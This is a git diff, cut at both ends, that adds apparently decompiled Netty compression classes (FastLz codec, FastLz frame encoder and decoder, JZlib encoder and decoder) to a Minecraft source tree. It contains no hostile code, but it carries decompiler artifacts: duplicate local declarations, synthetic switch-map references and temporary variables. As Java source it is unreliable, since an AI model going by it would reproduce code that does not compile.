+        output[(outOffset + op++)] = ((byte)(inLength - 1));
+        ipBound++;
+        while (ip <= ipBound) {
+          output[(outOffset + op++)] = input[(inOffset + ip++)];
+        }
+        return inLength + 1;
+      }
+      
+      return 0;
+    }
+    
+
+
+    for (int hslot = 0; hslot < 8192; hslot++)
+    {
+      htab[hslot] = ip;
+    }
+    
+
+    int copy = 2;
+    output[(outOffset + op++)] = 31;
+    output[(outOffset + op++)] = input[(inOffset + ip++)];
+    output[(outOffset + op++)] = input[(inOffset + ip++)];
+    
+
+    while (ip < ipLimit) {
+      int ref = 0;
+      
+      long distance = 0L;
+      
+
+
+
+      int len = 3;
+      
+
+      int anchor = ip;
+      
+      boolean matchLabel = false;
+      
+
+      if (level == 2)
+      {
+        if ((input[(inOffset + ip)] == input[(inOffset + ip - 1)]) && (readU16(input, inOffset + ip - 1) == readU16(input, inOffset + ip + 1)))
+        {
+          distance = 1L;
+          ip += 3;
+          ref = anchor - 1 + 3;
+          
+
+
+
+          matchLabel = true;
+        }
+      }
+      if (!matchLabel)
+      {
+
+        int hval = hashFunction(input, inOffset + ip);
+        
+        hslot = hval;
+        
+        ref = htab[hval];
+        
+
+        distance = anchor - ref;
+        
+
+
+        htab[hslot] = anchor;
+        
+
+        if ((distance != 0L) && (level == 1 ? distance < 8191L : distance < 73725L)) { if ((input[(inOffset + ref++)] == input[(inOffset + ip++)]) && (input[(inOffset + ref++)] == input[(inOffset + ip++)]) && (input[(inOffset + ref++)] == input[(inOffset + ip++)])) {}
+
+
+        }
+        else
+        {
+
+
+          output[(outOffset + op++)] = input[(inOffset + anchor++)];
+          ip = anchor;
+          copy++;
+          if (copy != 32) continue;
+          copy = 0;
+          output[(outOffset + op++)] = 31; continue;
+        }
+        
+
+
+        if (level == 2)
+        {
+          if (distance >= 8191L) {
+            if ((input[(inOffset + ip++)] != input[(inOffset + ref++)]) || (input[(inOffset + ip++)] != input[(inOffset + ref++)]))
+            {
+
+
+
+              output[(outOffset + op++)] = input[(inOffset + anchor++)];
+              ip = anchor;
+              copy++;
+              if (copy != 32) continue;
+              copy = 0;
+              output[(outOffset + op++)] = 31; continue;
+            }
+            
+
+            len += 2;
+          }
+        }
+      }
+      
+
+
+
+      ip = anchor + len;
+      
+
+      distance -= 1L;
+      
+      if (distance == 0L)
+      {
+
+        byte x = input[(inOffset + ip - 1)];
+        while ((ip < ipBound) && 
+          (input[(inOffset + ref++)] == x))
+        {
+
+          ip++;
+
+        }
+        
+
+      }
+      else if (input[(inOffset + ref++)] == input[(inOffset + ip++)])
+      {
+
+        if (input[(inOffset + ref++)] == input[(inOffset + ip++)])
+        {
+
+          if (input[(inOffset + ref++)] == input[(inOffset + ip++)])
+          {
+
+            if (input[(inOffset + ref++)] == input[(inOffset + ip++)])
+            {
+
+              if (input[(inOffset + ref++)] == input[(inOffset + ip++)])
+              {
+
+                if (input[(inOffset + ref++)] == input[(inOffset + ip++)])
+                {
+
+                  if (input[(inOffset + ref++)] == input[(inOffset + ip++)])
+                  {
+
+                    if (input[(inOffset + ref++)] == input[(inOffset + ip++)])
+                    {
+
+                      while (ip < ipBound)
+                        if (input[(inOffset + ref++)] != input[(inOffset + ip++)])
+                          break; }
+                  }
+                }
+              }
+            }
+          }
+        }
+      }
+      if (copy != 0)
+      {
+
+        output[(outOffset + op - copy - 1)] = ((byte)(copy - 1));
+      }
+      else {
+        op--;
+      }
+      
+
+      copy = 0;
+      
+
+      ip -= 3;
+      len = ip - anchor;
+      
+
+      if (level == 2) {
+        if (distance < 8191L) {
+          if (len < 7) {
+            output[(outOffset + op++)] = ((byte)(int)((len << 5) + (distance >>> 8)));
+            output[(outOffset + op++)] = ((byte)(int)(distance & 0xFF));
+          } else {
+            output[(outOffset + op++)] = ((byte)(int)(224L + (distance >>> 8)));
+            for (len -= 7; len >= 255; len -= 255) {
+              output[(outOffset + op++)] = -1;
+            }
+            output[(outOffset + op++)] = ((byte)len);
+            output[(outOffset + op++)] = ((byte)(int)(distance & 0xFF));
+          }
+          
+        }
+        else if (len < 7) {
+          distance -= 8191L;
+          output[(outOffset + op++)] = ((byte)((len << 5) + 31));
+          output[(outOffset + op++)] = -1;
+          output[(outOffset + op++)] = ((byte)(int)(distance >>> 8));
+          output[(outOffset + op++)] = ((byte)(int)(distance & 0xFF));
+        } else {
+          distance -= 8191L;
+          output[(outOffset + op++)] = -1;
+          for (len -= 7; len >= 255; len -= 255) {
+            output[(outOffset + op++)] = -1;
+          }
+          output[(outOffset + op++)] = ((byte)len);
+          output[(outOffset + op++)] = -1;
+          output[(outOffset + op++)] = ((byte)(int)(distance >>> 8));
+          output[(outOffset + op++)] = ((byte)(int)(distance & 0xFF));
+        }
+      }
+      else {
+        if (len > 262) {
+          while (len > 262) {
+            output[(outOffset + op++)] = ((byte)(int)(224L + (distance >>> 8)));
+            output[(outOffset + op++)] = -3;
+            output[(outOffset + op++)] = ((byte)(int)(distance & 0xFF));
+            len -= 262;
+          }
+        }
+        
+        if (len < 7) {
+          output[(outOffset + op++)] = ((byte)(int)((len << 5) + (distance >>> 8)));
+          output[(outOffset + op++)] = ((byte)(int)(distance & 0xFF));
+        } else {
+          output[(outOffset + op++)] = ((byte)(int)(224L + (distance >>> 8)));
+          output[(outOffset + op++)] = ((byte)(len - 7));
+          output[(outOffset + op++)] = ((byte)(int)(distance & 0xFF));
+        }
+      }
+      
+
+
+      int hval = hashFunction(input, inOffset + ip);
+      htab[hval] = (ip++);
+      
+
+      hval = hashFunction(input, inOffset + ip);
+      htab[hval] = (ip++);
+      
+
+      output[(outOffset + op++)] = 31;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    ipBound++;
+    while (ip <= ipBound) {
+      output[(outOffset + op++)] = input[(inOffset + ip++)];
+      copy++;
+      if (copy == 32) {
+        copy = 0;
+        output[(outOffset + op++)] = 31;
+      }
+    }
+    
+
+    if (copy != 0)
+    {
+      output[(outOffset + op - copy - 1)] = ((byte)(copy - 1));
+    } else {
+      op--;
+    }
+    
+    if (level == 2)
+    {
+      int tmp1583_1581 = outOffset; byte[] tmp1583_1580 = output;tmp1583_1580[tmp1583_1581] = ((byte)(tmp1583_1580[tmp1583_1581] | 0x20));
+    }
+    
+    return op;
+  }
+  
+
+
+
+
+
+
+
+
+
+  static int decompress(byte[] input, int inOffset, int inLength, byte[] output, int outOffset, int outLength)
+  {
+    int level = (input[inOffset] >> 5) + 1;
+    if ((level != 1) && (level != 2)) {
+      throw new DecompressionException(String.format("invalid level: %d (expected: %d or %d)", new Object[] { Integer.valueOf(level), Integer.valueOf(1), Integer.valueOf(2) }));
+    }
+    
+
+
+
+    int ip = 0;
+    
+    int op = 0;
+    
+    long ctrl = input[(inOffset + ip++)] & 0x1F;
+    
+    int loop = 1;
+    do
+    {
+      int ref = op;
+      
+      long len = ctrl >> 5;
+      
+      long ofs = (ctrl & 0x1F) << 8;
+      
+      if (ctrl >= 32L) {
+        len -= 1L;
+        
+        ref = (int)(ref - ofs);
+        
+
+        if (len == 6L) {
+          if (level == 1)
+          {
+            len += (input[(inOffset + ip++)] & 0xFF);
+          } else {
+            int code;
+            do { code = input[(inOffset + ip++)] & 0xFF;
+              len += code;
+            } while (code == 255);
+          }
+        }
+        if (level == 1)
+        {
+          ref -= (input[(inOffset + ip++)] & 0xFF);
+        } else {
+          int code = input[(inOffset + ip++)] & 0xFF;
+          ref -= code;
+          
+
+
+
+          if ((code == 255) && (ofs == 7936L)) {
+            ofs = (input[(inOffset + ip++)] & 0xFF) << 8;
+            ofs += (input[(inOffset + ip++)] & 0xFF);
+            
+            ref = (int)(op - ofs - 8191L);
+          }
+        }
+        
+
+        if (op + len + 3L > outLength) {
+          return 0;
+        }
+        
+
+
+
+        if (ref - 1 < 0) {
+          return 0;
+        }
+        
+        if (ip < inLength) {
+          ctrl = input[(inOffset + ip++)] & 0xFF;
+        } else {
+          loop = 0;
+        }
+        
+        if (ref == op)
+        {
+
+          byte b = output[(outOffset + ref - 1)];
+          output[(outOffset + op++)] = b;
+          output[(outOffset + op++)] = b;
+          output[(outOffset + op++)] = b;
+          while (len != 0L) {
+            output[(outOffset + op++)] = b;
+            len -= 1L;
+          }
+        }
+        else {
+          ref--;
+          
+
+          output[(outOffset + op++)] = output[(outOffset + ref++)];
+          output[(outOffset + op++)] = output[(outOffset + ref++)];
+          output[(outOffset + op++)] = output[(outOffset + ref++)];
+          
+          while (len != 0L) {
+            output[(outOffset + op++)] = output[(outOffset + ref++)];
+            len -= 1L;
+          }
+        }
+      } else {
+        ctrl += 1L;
+        
+        if (op + ctrl > outLength) {
+          return 0;
+        }
+        if (ip + ctrl > inLength) {
+          return 0;
+        }
+        
+
+        output[(outOffset + op++)] = input[(inOffset + ip++)];
+        
+        for (ctrl -= 1L; ctrl != 0L; ctrl -= 1L)
+        {
+          output[(outOffset + op++)] = input[(inOffset + ip++)];
+        }
+        
+        loop = ip < inLength ? 1 : 0;
+        if (loop != 0)
+        {
+          ctrl = input[(inOffset + ip++)] & 0xFF;
+        }
+        
+      }
+      
+    } while (loop != 0);
+    
+
+    return op;
+  }
+  
+  private static int hashFunction(byte[] p, int offset) {
+    int v = readU16(p, offset);
+    v ^= readU16(p, offset + 1) ^ v >> 3;
+    v &= 0x1FFF;
+    return v;
+  }
+  
+  private static int readU16(byte[] data, int offset) {
+    if (offset + 1 >= data.length) {
+      return data[offset] & 0xFF;
+    }
+    return (data[(offset + 1)] & 0xFF) << 8 | data[offset] & 0xFF;
+  }
+  
+  private FastLz() {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/compression/FastLzFrameDecoder.java b/src/minecraft/io/netty/handler/codec/compression/FastLzFrameDecoder.java
new file mode 100644
index 0000000..3c7dee3
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/compression/FastLzFrameDecoder.java
@@ -0,0 +1,223 @@
+package io.netty.handler.codec.compression;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.ByteToMessageDecoder;
+import io.netty.util.internal.EmptyArrays;
+import java.util.List;
+import java.util.zip.Adler32;
+import java.util.zip.Checksum;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class FastLzFrameDecoder
+  extends ByteToMessageDecoder
+{
+  private static enum State
+  {
+    INIT_BLOCK, 
+    INIT_BLOCK_PARAMS, 
+    DECOMPRESS_DATA, 
+    CORRUPTED;
+    
+    private State() {} }
+  private State currentState = State.INIT_BLOCK;
+  
+
+
+
+  private final Checksum checksum;
+  
+
+
+
+  private int chunkLength;
+  
+
+
+
+  private int originalLength;
+  
+
+
+
+  private boolean isCompressed;
+  
+
+
+
+  private boolean hasChecksum;
+  
+
+
+
+  private int currentChecksum;
+  
+
+
+
+  public FastLzFrameDecoder()
+  {
+    this(false);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public FastLzFrameDecoder(boolean validateChecksums)
+  {
+    this(validateChecksums ? new Adler32() : null);
+  }
+  
+
+
+
+
+
+
+  public FastLzFrameDecoder(Checksum checksum)
+  {
+    this.checksum = checksum;
+  }
+  
+  protected void decode(ChannelHandlerContext ctx, ByteBuf in, List<Object> out) throws Exception
+  {
+    try {
+      switch (1.$SwitchMap$io$netty$handler$codec$compression$FastLzFrameDecoder$State[currentState.ordinal()]) {
+      case 1: 
+        if (in.readableBytes() >= 4)
+        {
+
+
+          int magic = in.readUnsignedMedium();
+          if (magic != 4607066) {
+            throw new DecompressionException("unexpected block identifier");
+          }
+          
+          byte options = in.readByte();
+          isCompressed = ((options & 0x1) == 1);
+          hasChecksum = ((options & 0x10) == 16);
+          
+          currentState = State.INIT_BLOCK_PARAMS;
+        }
+        break; case 2:  if (in.readableBytes() >= 2 + (isCompressed ? 2 : 0) + (hasChecksum ? 4 : 0))
+        {
+
+          currentChecksum = (hasChecksum ? in.readInt() : 0);
+          this.chunkLength = in.readUnsignedShort();
+          this.originalLength = (isCompressed ? in.readUnsignedShort() : this.chunkLength);
+          
+          currentState = State.DECOMPRESS_DATA;
+        }
+        break; case 3:  int chunkLength = this.chunkLength;
+        if (in.readableBytes() >= chunkLength)
+        {
+
+
+          int idx = in.readerIndex();
+          int originalLength = this.originalLength;
+          
+          int outputPtr;
+          ByteBuf uncompressed;
+          byte[] output;
+          int outputPtr;
+          if (originalLength != 0) {
+            ByteBuf uncompressed = ctx.alloc().heapBuffer(originalLength, originalLength);
+            byte[] output = uncompressed.array();
+            outputPtr = uncompressed.arrayOffset() + uncompressed.writerIndex();
+          } else {
+            uncompressed = null;
+            output = EmptyArrays.EMPTY_BYTES;
+            outputPtr = 0;
+          }
+          
+          boolean success = false;
+          try {
+            if (isCompressed) { int inputPtr;
+              byte[] input;
+              int inputPtr;
+              if (in.hasArray()) {
+                byte[] input = in.array();
+                inputPtr = in.arrayOffset() + idx;
+              } else {
+                input = new byte[chunkLength];
+                in.getBytes(idx, input);
+                inputPtr = 0;
+              }
+              
+              int decompressedBytes = FastLz.decompress(input, inputPtr, chunkLength, output, outputPtr, originalLength);
+              
+              if (originalLength != decompressedBytes) {
+                throw new DecompressionException(String.format("stream corrupted: originalLength(%d) and actual length(%d) mismatch", new Object[] { Integer.valueOf(originalLength), Integer.valueOf(decompressedBytes) }));
+              }
+            }
+            else
+            {
+              in.getBytes(idx, output, outputPtr, chunkLength);
+            }
+            
+            Checksum checksum = this.checksum;
+            if ((hasChecksum) && (checksum != null)) {
+              checksum.reset();
+              checksum.update(output, outputPtr, originalLength);
+              int checksumResult = (int)checksum.getValue();
+              if (checksumResult != currentChecksum) {
+                throw new DecompressionException(String.format("stream corrupted: mismatching checksum: %d (expected: %d)", new Object[] { Integer.valueOf(checksumResult), Integer.valueOf(currentChecksum) }));
+              }
+            }
+            
+
+
+            if (uncompressed != null) {
+              uncompressed.writerIndex(uncompressed.writerIndex() + originalLength);
+              out.add(uncompressed);
+            }
+            in.skipBytes(chunkLength);
+            
+            currentState = State.INIT_BLOCK;
+            success = true;
+          } finally {
+            if (!success)
+              uncompressed.release();
+          }
+        }
+        break;
+      case 4: 
+        in.skipBytes(in.readableBytes());
+        break;
+      default: 
+        throw new IllegalStateException();
+      }
+    } catch (Exception e) {
+      currentState = State.CORRUPTED;
+      throw e;
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/compression/FastLzFrameEncoder.java b/src/minecraft/io/netty/handler/codec/compression/FastLzFrameEncoder.java
new file mode 100644
index 0000000..7272569
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/compression/FastLzFrameEncoder.java
@@ -0,0 +1,186 @@
+package io.netty.handler.codec.compression;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.MessageToByteEncoder;
+import java.util.zip.Adler32;
+import java.util.zip.Checksum;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class FastLzFrameEncoder
+  extends MessageToByteEncoder<ByteBuf>
+{
+  private final int level;
+  private final Checksum checksum;
+  
+  public FastLzFrameEncoder()
+  {
+    this(0, null);
+  }
+  
+
+
+
+
+
+
+
+  public FastLzFrameEncoder(int level)
+  {
+    this(level, null);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public FastLzFrameEncoder(boolean validateChecksums)
+  {
+    this(0, validateChecksums ? new Adler32() : null);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public FastLzFrameEncoder(int level, Checksum checksum)
+  {
+    super(false);
+    if ((level != 0) && (level != 1) && (level != 2)) {
+      throw new IllegalArgumentException(String.format("level: %d (expected: %d or %d or %d)", new Object[] { Integer.valueOf(level), Integer.valueOf(0), Integer.valueOf(1), Integer.valueOf(2) }));
+    }
+    
+    this.level = level;
+    this.checksum = checksum;
+  }
+  
+  protected void encode(ChannelHandlerContext ctx, ByteBuf in, ByteBuf out) throws Exception
+  {
+    Checksum checksum = this.checksum;
+    for (;;)
+    {
+      if (!in.isReadable()) {
+        return;
+      }
+      int idx = in.readerIndex();
+      int length = Math.min(in.readableBytes(), 65535);
+      
+      int outputIdx = out.writerIndex();
+      out.setMedium(outputIdx, 4607066);
+      int outputOffset = outputIdx + 4 + (checksum != null ? 4 : 0);
+      int chunkLength;
+      byte blockType;
+      int chunkLength;
+      if (length < 32) {
+        byte blockType = 0;
+        
+        out.ensureWritable(outputOffset + 2 + length);
+        byte[] output = out.array();
+        int outputPtr = out.arrayOffset() + outputOffset + 2;
+        
+        if (checksum != null) { int inputPtr;
+          byte[] input;
+          int inputPtr;
+          if (in.hasArray()) {
+            byte[] input = in.array();
+            inputPtr = in.arrayOffset() + idx;
+          } else {
+            input = new byte[length];
+            in.getBytes(idx, input);
+            inputPtr = 0;
+          }
+          
+          checksum.reset();
+          checksum.update(input, inputPtr, length);
+          out.setInt(outputIdx + 4, (int)checksum.getValue());
+          
+          System.arraycopy(input, inputPtr, output, outputPtr, length);
+        } else {
+          in.getBytes(idx, output, outputPtr, length);
+        }
+        chunkLength = length;
+      } else {
+        int inputPtr;
+        byte[] input;
+        int inputPtr;
+        if (in.hasArray()) {
+          byte[] input = in.array();
+          inputPtr = in.arrayOffset() + idx;
+        } else {
+          input = new byte[length];
+          in.getBytes(idx, input);
+          inputPtr = 0;
+        }
+        
+        if (checksum != null) {
+          checksum.reset();
+          checksum.update(input, inputPtr, length);
+          out.setInt(outputIdx + 4, (int)checksum.getValue());
+        }
+        
+        int maxOutputLength = FastLz.calculateOutputBufferLength(length);
+        out.ensureWritable(outputOffset + 4 + maxOutputLength);
+        byte[] output = out.array();
+        int outputPtr = out.arrayOffset() + outputOffset + 4;
+        int compressedLength = FastLz.compress(input, inputPtr, length, output, outputPtr, level);
+        if (compressedLength < length) {
+          byte blockType = 1;
+          int chunkLength = compressedLength;
+          
+          out.setShort(outputOffset, chunkLength);
+          outputOffset += 2;
+        } else {
+          blockType = 0;
+          System.arraycopy(input, inputPtr, output, outputPtr - 2, length);
+          chunkLength = length;
+        }
+      }
+      out.setShort(outputOffset, length);
+      
+      out.setByte(outputIdx + 3, blockType | (checksum != null ? 16 : 0));
+      
+      out.writerIndex(outputOffset + 2 + chunkLength);
+      in.skipBytes(length);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/compression/JZlibDecoder.java b/src/minecraft/io/netty/handler/codec/compression/JZlibDecoder.java
new file mode 100644
index 0000000..d76cc07
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/compression/JZlibDecoder.java
@@ -0,0 +1,174 @@
+package io.netty.handler.codec.compression;
+
+import com.jcraft.jzlib.Inflater;
+import com.jcraft.jzlib.JZlib;
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.ChannelHandlerContext;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class JZlibDecoder
+  extends ZlibDecoder
+{
+  private final Inflater z = new Inflater();
+  
+
+  private byte[] dictionary;
+  
+  private volatile boolean finished;
+  
+
+  public JZlibDecoder()
+  {
+    this(ZlibWrapper.ZLIB);
+  }
+  
+
+
+
+
+  public JZlibDecoder(ZlibWrapper wrapper)
+  {
+    if (wrapper == null) {
+      throw new NullPointerException("wrapper");
+    }
+    
+    int resultCode = z.init(ZlibUtil.convertWrapperType(wrapper));
+    if (resultCode != 0) {
+      ZlibUtil.fail(z, "initialization failure", resultCode);
+    }
+  }
+  
+
+
+
+
+
+
+  public JZlibDecoder(byte[] dictionary)
+  {
+    if (dictionary == null) {
+      throw new NullPointerException("dictionary");
+    }
+    this.dictionary = dictionary;
+    
+
+    int resultCode = z.inflateInit(JZlib.W_ZLIB);
+    if (resultCode != 0) {
+      ZlibUtil.fail(z, "initialization failure", resultCode);
+    }
+  }
+  
+
+
+
+
+  public boolean isClosed()
+  {
+    return finished;
+  }
+  
+  protected void decode(ChannelHandlerContext ctx, ByteBuf in, List<Object> out) throws Exception
+  {
+    if (finished)
+    {
+      in.skipBytes(in.readableBytes());
+      return;
+    }
+    
+    if (!in.isReadable()) {
+      return;
+    }
+    
+    try
+    {
+      int inputLength = in.readableBytes();
+      z.avail_in = inputLength;
+      if (in.hasArray()) {
+        z.next_in = in.array();
+        z.next_in_index = (in.arrayOffset() + in.readerIndex());
+      } else {
+        byte[] array = new byte[inputLength];
+        in.getBytes(in.readerIndex(), array);
+        z.next_in = array;
+        z.next_in_index = 0;
+      }
+      int oldNextInIndex = z.next_in_index;
+      
+
+      int maxOutputLength = inputLength << 1;
+      ByteBuf decompressed = ctx.alloc().heapBuffer(maxOutputLength);
+      try
+      {
+        for (;;) {
+          z.avail_out = maxOutputLength;
+          decompressed.ensureWritable(maxOutputLength);
+          z.next_out = decompressed.array();
+          z.next_out_index = (decompressed.arrayOffset() + decompressed.writerIndex());
+          int oldNextOutIndex = z.next_out_index;
+          
+
+          int resultCode = z.inflate(2);
+          int outputLength = z.next_out_index - oldNextOutIndex;
+          if (outputLength > 0) {
+            decompressed.writerIndex(decompressed.writerIndex() + outputLength);
+          }
+          
+          switch (resultCode) {
+          case 2: 
+            if (dictionary == null) {
+              ZlibUtil.fail(z, "decompression failure", resultCode);
+            } else {
+              resultCode = z.inflateSetDictionary(dictionary, dictionary.length);
+              if (resultCode != 0) {
+                ZlibUtil.fail(z, "failed to set the dictionary", resultCode);
+              }
+            }
+            break;
+          case 1: 
+            finished = true;
+            z.inflateEnd();
+            break;
+          case 0: 
+            break;
+          case -5: 
+            if (z.avail_in > 0) break;
+            break;
+          case -4: case -3: 
+          case -2: case -1: 
+          default: 
+            ZlibUtil.fail(z, "decompression failure", resultCode);
+          }
+        }
+      } finally {
+        in.skipBytes(z.next_in_index - oldNextInIndex);
+        if (decompressed.isReadable()) {
+          out.add(decompressed);
+        } else {
+          decompressed.release();
+        }
+        
+      }
+      
+    }
+    finally
+    {
+      z.next_in = null;
+      z.next_out = null;
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/compression/JZlibEncoder.java b/src/minecraft/io/netty/handler/codec/compression/JZlibEncoder.java
new file mode 100644
index 0000000..aff74cb
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/compression/JZlibEncoder.java
@@ -0,0 +1,405 @@
+package io.netty.handler.codec.compression;
+
+import com.jcraft.jzlib.Deflater;
+import com.jcraft.jzlib.JZlib;
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.Unpooled;
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelFutureListener;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelPromise;
+import io.netty.channel.ChannelPromiseNotifier;
+import io.netty.util.concurrent.EventExecutor;
+import io.netty.util.internal.EmptyArrays;
+import java.util.concurrent.TimeUnit;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class JZlibEncoder
+  extends ZlibEncoder
+{
+  private final int wrapperOverhead;
+  private final Deflater z = new Deflater();
+  
+
+  private volatile boolean finished;
+  
+
+  private volatile ChannelHandlerContext ctx;
+  
+
+
+  public JZlibEncoder()
+  {
+    this(6);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public JZlibEncoder(int compressionLevel)
+  {
+    this(ZlibWrapper.ZLIB, compressionLevel);
+  }
+  
+
+
+
+
+
+
+  public JZlibEncoder(ZlibWrapper wrapper)
+  {
+    this(wrapper, 6);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public JZlibEncoder(ZlibWrapper wrapper, int compressionLevel)
+  {
+    this(wrapper, compressionLevel, 15, 8);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public JZlibEncoder(ZlibWrapper wrapper, int compressionLevel, int windowBits, int memLevel)
+  {
+    if ((compressionLevel < 0) || (compressionLevel > 9)) {
+      throw new IllegalArgumentException("compressionLevel: " + compressionLevel + " (expected: 0-9)");
+    }
+    
+
+    if ((windowBits < 9) || (windowBits > 15)) {
+      throw new IllegalArgumentException("windowBits: " + windowBits + " (expected: 9-15)");
+    }
+    
+    if ((memLevel < 1) || (memLevel > 9)) {
+      throw new IllegalArgumentException("memLevel: " + memLevel + " (expected: 1-9)");
+    }
+    
+    if (wrapper == null) {
+      throw new NullPointerException("wrapper");
+    }
+    if (wrapper == ZlibWrapper.ZLIB_OR_NONE) {
+      throw new IllegalArgumentException("wrapper '" + ZlibWrapper.ZLIB_OR_NONE + "' is not " + "allowed for compression.");
+    }
+    
+
+
+    int resultCode = z.init(compressionLevel, windowBits, memLevel, ZlibUtil.convertWrapperType(wrapper));
+    
+
+    if (resultCode != 0) {
+      ZlibUtil.fail(z, "initialization failure", resultCode);
+    }
+    
+    wrapperOverhead = ZlibUtil.wrapperOverhead(wrapper);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public JZlibEncoder(byte[] dictionary)
+  {
+    this(6, dictionary);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public JZlibEncoder(int compressionLevel, byte[] dictionary)
+  {
+    this(compressionLevel, 15, 8, dictionary);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public JZlibEncoder(int compressionLevel, int windowBits, int memLevel, byte[] dictionary)
+  {
+    if ((compressionLevel < 0) || (compressionLevel > 9)) {
+      throw new IllegalArgumentException("compressionLevel: " + compressionLevel + " (expected: 0-9)");
+    }
+    if ((windowBits < 9) || (windowBits > 15)) {
+      throw new IllegalArgumentException("windowBits: " + windowBits + " (expected: 9-15)");
+    }
+    
+    if ((memLevel < 1) || (memLevel > 9)) {
+      throw new IllegalArgumentException("memLevel: " + memLevel + " (expected: 1-9)");
+    }
+    
+    if (dictionary == null) {
+      throw new NullPointerException("dictionary");
+    }
+    
+    int resultCode = z.deflateInit(compressionLevel, windowBits, memLevel, JZlib.W_ZLIB);
+    
+
+    if (resultCode != 0) {
+      ZlibUtil.fail(z, "initialization failure", resultCode);
+    } else {
+      resultCode = z.deflateSetDictionary(dictionary, dictionary.length);
+      if (resultCode != 0) {
+        ZlibUtil.fail(z, "failed to set the dictionary", resultCode);
+      }
+    }
+    
+    wrapperOverhead = ZlibUtil.wrapperOverhead(ZlibWrapper.ZLIB);
+  }
+  
+  public ChannelFuture close()
+  {
+    return close(ctx().channel().newPromise());
+  }
+  
+  public ChannelFuture close(final ChannelPromise promise)
+  {
+    ChannelHandlerContext ctx = ctx();
+    EventExecutor executor = ctx.executor();
+    if (executor.inEventLoop()) {
+      return finishEncode(ctx, promise);
+    }
+    final ChannelPromise p = ctx.newPromise();
+    executor.execute(new Runnable()
+    {
+      public void run() {
+        ChannelFuture f = JZlibEncoder.this.finishEncode(JZlibEncoder.access$000(JZlibEncoder.this), p);
+        f.addListener(new ChannelPromiseNotifier(new ChannelPromise[] { promise }));
+      }
+    });
+    return p;
+  }
+  
+  private ChannelHandlerContext ctx()
+  {
+    ChannelHandlerContext ctx = this.ctx;
+    if (ctx == null) {
+      throw new IllegalStateException("not added to a pipeline");
+    }
+    return ctx;
+  }
+  
+  public boolean isClosed()
+  {
+    return finished;
+  }
+  
+  protected void encode(ChannelHandlerContext ctx, ByteBuf in, ByteBuf out) throws Exception
+  {
+    if (finished) {
+      return;
+    }
+    
+    try
+    {
+      int inputLength = in.readableBytes();
+      boolean inHasArray = in.hasArray();
+      z.avail_in = inputLength;
+      if (inHasArray) {
+        z.next_in = in.array();
+        z.next_in_index = (in.arrayOffset() + in.readerIndex());
+      } else {
+        byte[] array = new byte[inputLength];
+        in.getBytes(in.readerIndex(), array);
+        z.next_in = array;
+        z.next_in_index = 0;
+      }
+      int oldNextInIndex = z.next_in_index;
+      
+
+      int maxOutputLength = (int)Math.ceil(inputLength * 1.001D) + 12 + wrapperOverhead;
+      out.ensureWritable(maxOutputLength);
+      z.avail_out = maxOutputLength;
+      z.next_out = out.array();
+      z.next_out_index = (out.arrayOffset() + out.writerIndex());
+      int oldNextOutIndex = z.next_out_index;
+      
+      int resultCode;
+      try
+      {
+        resultCode = z.deflate(2);
+      } finally {
+        in.skipBytes(z.next_in_index - oldNextInIndex);
+      }
+      
+      if (resultCode != 0) {
+        ZlibUtil.fail(z, "compression failure", resultCode);
+      }
+      
+      int outputLength = z.next_out_index - oldNextOutIndex;
+      if (outputLength > 0) {
+        out.writerIndex(out.writerIndex() + outputLength);
+      }
+      
+
+    }
+    finally
+    {
+      z.next_in = null;
+      z.next_out = null;
+    }
+  }
+  
+
+
+  public void close(final ChannelHandlerContext ctx, final ChannelPromise promise)
+  {
+    ChannelFuture f = finishEncode(ctx, ctx.newPromise());
+    f.addListener(new ChannelFutureListener()
+    {
+      public void operationComplete(ChannelFuture f) throws Exception {
+        ctx.close(promise);
+      }
+    });
+    
+    if (!f.isDone())
+    {
+      ctx.executor().schedule(new Runnable()
+      {
+
+        public void run() { ctx.close(promise); } }, 10L, TimeUnit.SECONDS);
+    }
+  }
+  
+
+  private ChannelFuture finishEncode(ChannelHandlerContext ctx, ChannelPromise promise)
+  {
+    if (finished) {
+      promise.setSuccess();
+      return promise;
+    }
+    finished = true;
+    
+    ByteBuf footer;
+    try
+    {
+      z.next_in = EmptyArrays.EMPTY_BYTES;
+      z.next_in_index = 0;
+      z.avail_in = 0;
+      
+
+      byte[] out = new byte[32];
+      z.next_out = out;
+      z.next_out_index = 0;
+      z.avail_out = out.length;
+      
+
+      int resultCode = z.deflate(4);
+      if ((resultCode != 0) && (resultCode != 1)) {
+        promise.setFailure(ZlibUtil.deflaterException(z, "compression failure", resultCode));
+        return promise; }
+      ByteBuf footer; if (z.next_out_index != 0) {
